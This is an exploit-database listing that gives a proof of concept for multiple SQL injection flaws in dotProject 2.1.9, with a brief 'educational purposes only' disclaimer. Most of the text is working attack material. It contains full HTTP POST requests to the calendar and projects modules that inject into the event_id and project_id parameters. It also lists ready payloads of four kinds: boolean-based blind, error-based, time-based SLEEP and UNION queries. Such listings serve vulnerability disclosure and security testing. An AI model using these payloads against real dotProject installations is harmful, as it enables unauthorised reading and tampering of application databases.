Dotproject 2.1.9 sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-24 | Type : webapps | Platform : php
This exploit / vulnerability Dotproject 2.1.9 sql injection is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: dotProject 2.1.9 - Multiple Sql Injection (Poc)
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://dotproject.net
# Software Link: https://github.com/dotproject/dotProject/archive/v2.1.9.zip
# Version: 2.1.9
# Category: Webapps
# Tested on: Xampp for Windows
# Software Description : dotProject is a volunteer supported Project Management application. There is no "company" behind this project, it is managed, maintained, developed and supported by a volunteer group and by the users themselves.

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event_id (POST) - Sql injection PoC

POST /dotProject-2.1.9/index.php?m=calendar HTTP/1.1
Host: xxx.xxx.x.xx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.x.xx/dotProject-2.1.9/index.php?m=calendar&a=addedit
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1
Connection: close
Upgrade-Insecure-Requests: 1

dosql=do_event_aed&event_id=0&event_project=[SQLi]&event_assigned=1&event_title=test&
event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&
end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on




Parameter: event_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: dosql=do_event_aed&event_id=0) AND 3236=3236-- rnpG&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: dosql=do_event_aed&event_id=0) AND (SELECT 7581 FROM(SELECT COUNT(*),CONCAT(0x7170787a71,(SELECT (ELT(7581=7581,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bOIA&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: dosql=do_event_aed&event_id=0) AND (SELECT 6637 FROM (SELECT(SLEEP(5)))bNDB)-- NfAk&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: dosql=do_event_aed&event_id=0) UNION ALL SELECT CONCAT(0x7170787a71,0x646772547a6e58774c464e54416963614c64646c7a6f6c745748597350686f535979714443794859,0x71627a6271)-- xXFB&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on



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MULTIPART project_id ((custom) POST) - Sql Injection Poc

POST /dotProject-2.1.9/index.php?m=projects HTTP/1.1
Host: 192.168.1.33
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.33/dotProject-2.1.9/index.php?m=projects&a=addedit
Content-Type: multipart/form-data; boundary=---------------------------9310663371787104596119761620
Content-Length: 2749
Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="dosql"

do_project_aed
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_id"

[SQLi]
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_creator"

1
.
..snip
..snip
.

-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="import_tasks_from"

0
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_description"

fasdf
-----------------------------9310663371787104596119761620--



Parameter: MULTIPART project_id ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: 0 RLIKE (SELECT (CASE WHEN (6146=6146) THEN '' ELSE 0x28 END))

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: 0 AND EXTRACTVALUE(9751,CONCAT(0x5c,0x716b767871,(SELECT (ELT(9751=9751,1))),0x716b6a6a71))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 0 AND (SELECT 6725 FROM (SELECT(SLEEP(5)))WETe)


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